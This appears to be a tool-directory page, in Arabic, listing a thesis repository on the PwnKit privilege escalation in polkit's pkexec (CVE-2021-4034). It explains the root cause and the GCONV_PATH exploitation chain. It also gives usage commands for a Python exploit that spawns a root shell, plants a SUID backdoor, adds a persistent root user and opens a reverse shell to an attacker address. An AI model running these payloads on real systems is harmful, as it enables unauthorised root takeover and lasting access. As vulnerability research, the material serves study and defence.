Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-4034 — أطروحة ماجستير حول بحث CVE-2021-4034 (PwnKit) لتصعيد الامتيازات المحلية. استغلال Python متعدد الحمولات مع 7 أوضاع تشمل الصدفة التفاعلية، الباب الخلفي SUID، الصدفة العكسية، وإنشاء مستخدم جذر. يتضمن تحليل السبب الجذري وتوثيق سلسلة الاستغلال. | Kitploit
أدوات/GitHubGitHub/devianntsec/cve-2021-4034
تصعيد الامتيازاتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubdevianntsec/cve-2021-4034
153منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-4034

أطروحة ماجستير حول بحث CVE-2021-4034 (PwnKit) لتصعيد الامتيازات المحلية. استغلال Python متعدد الحمولات مع 7 أوضاع تشمل الصدفة التفاعلية، الباب الخلفي SUID، الصدفة العكسية، وإنشاء مستخدم جذر. يتضمن تحليل السبب الجذري وتوثيق سلسلة الاستغلال.

عرض المستودع

CVE-2021-4034 — PwnKit تصعيد الامتيازات المحلية · بحث رسالة الماجستير

Platform Language License: MIT Research CVSS

ثغرة تلف الذاكرة في أداة pkexec التابعة لـ polkit
تصعيد امتيازات محلي → جذر عبر كتابة خارج النطاق
المتأثر: polkit 0.105-31 والإصدارات الأقدم · التصحيح: polkit 0.105-33 (يناير 2022)


صدفة جذر تفاعلية تم الحصول عليها عبر CVE-2021-4034 - PwnKit

الوصف

يحتوي هذا المستودع على بحث رسالة الماجستير الخاص بي حول CVE-2021-4034، وهي ثغرة تصعيد امتيازات محلي شديدة الخطورة (CVSS 7.8) في أداة pkexec التابعة لـ polkit، والمعروفة باسم PwnKit.

تنبع الثغرة من كتابة خارج النطاق (out-of-bounds write) في منطق معالجة الوسائط في pkexec. عند تنفيذ pkexec مع argv فارغ أو مُصمَّم بعناية، فإنها تقرأ وتكتب خارج حدود مصفوفة argv إلى مصفوفة envp، مما يسمح لمستخدم محلي غير مميَّز بحقن متغيرات بيئة خبيثة تُحمَّل لاحقًا كمكتبة مشتركة، لتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر.

مساهمتي

الجانبالوصف
استغلال متعدد الحمولاتغلاف Python مع 6 أوضاع حمولات تشمل shell وid وbackdoor وreverse shell
إعداد بيئة آليإنشاء تلقائي لـ GCONV_PATH وإعداد gconv-modules
وحدات ما بعد الاستغلالباب خلفي SUID، وإنشاء مستخدم جذر، وتنفيذ أوامر مخصصة
توثيق أكاديميتحليل السبب الجذري، وسلسلة الاستغلال، والجدول الزمني للثغرة

هيكل المستودع

CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

بداية سريعة

المتطلبات الأساسية

  • نظام Linux مزوّد بـ polkit ثغري (pkexec --version يُظهر 0.105 أو إصدارًا أقدم)
  • مترجم GCC (apt install gcc)
  • Python 3.6+
  • حساب مستخدم قياسي (لا يتطلب صلاحيات جذر)
  • يُنصح باستخدام جهاز افتراضي معزول للاختبار

الاستخدام

# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

مرجع الحمولات

الحمولةالوصفالمخرَج
shellيفتح /bin/sh تفاعليًا بصلاحيات الجذرصدفة تفاعلية
idيكتب مخرَج id وwhoami إلى /tmp/pwnkit_id.txtملف
whoamiيكتب التحقق من UID/eUID إلى /tmp/pwnkit_root_testملف
backdoor_suidينشئ نسخة bash جذرية مع SUID في /tmp/.shباب خلفي دائم
add_root_userيضيف مستخدمًا مخصصًا إلى /etc/passwdوصول دائم
reverse_shellيتصل مرة أخرى بالمهاجم عبر Pythonصدفة عن بُعد
customينفذ أي أمر بصلاحيات الجذرالمخرَج القياسي / ملف

نظرة عامة تقنية

السبب الجذري للثغرة

تعالج pkexec الوسائط argv الخاصة بها لتحديد البرنامج المراد تشغيله. عند استدعائها مع argc == 0 (متجه وسائط فارغ)، يفشل فحص الحدود على argv بصمت. وتتعامل القراءة اللاحقة خارج النطاق مع envp[0] على أنها argv[1]، وتسمح الكتابة خارج النطاق العائدة إلى envp للمهاجم باستبدال متغير بيئة بمسار مُصمَّم. وعندما تستدعي pkexec لاحقًا g_printerr()، فإنها تحمّل GCONV_PATH من البيئة التي أصبحت تحت سيطرة المهاجم، فتحمّل مكتبة مشتركة يوفّرها المهاجم بصلاحيات الجذر.

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

سلسلة الاستغلال

1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

تفاصيل تقنية أساسية

المكوّنالقيمةملاحظات
الملف الثنائي الثغري/usr/bin/pkexecSUID بصلاحيات الجذر
شرط التفعيلargc == 0argv فارغ
بدائية الكتابةكتابة خارج النطاق في envpعبر argv[argc-1]
آلية التحميلGCONV_PATH + gconv-modulesiconv القياسي من glibc
سياق التنفيذgconv_init() في مكتبة مشتركةيعمل بـ EUID 0
الإصدارات المتأثرةpolkit ≤ 0.105-31جميع توزيعات Linux الرئيسية

العروض التوضيحية

صدفة جذر تفاعلية

Interactive Shell

التحقق من الهوية (ID)

ID Payload

التحقق من Whoami

Whoami Payload

باب خلفي SUID

Backdoor Payload

إضافة مستخدم جذر

Add Root User

صدفة عكسية

Reverse Shell

أمر مخصص

Custom Payload


الاختبار التجريبي

أُجريت جميع الاختبارات على جهاز افتراضي معزول VirtualBox يعمل بنظام Ubuntu 20.04 LTS مع polkit 0.105-26 (ثغري)، دون أي تعرّض للشبكة.

الحمولةالنتيجةملاحظات
shell✅ تم الحصول على صدفة جذروصول تفاعلي فوري
id✅ تم تأكيد uid=0(root)المخرَج في /tmp/pwnkit_id.txt
whoami✅ تم تأكيد rootUID/eUID = 0
backdoor_suid✅ تم ضبط بت SUID على /tmp/.shدائم بعد الاستغلال
add_root_user✅ تم إنشاء مستخدم مخصصيبقى بعد إعادة التشغيل
reverse_shell✅ تم إنشاء الاتصالصدفة Python عكسية تعمل
custom✅ تنفيذ أوامر عشوائيةسياق جذر كامل

التوثيق التقني

تنزيل الأداة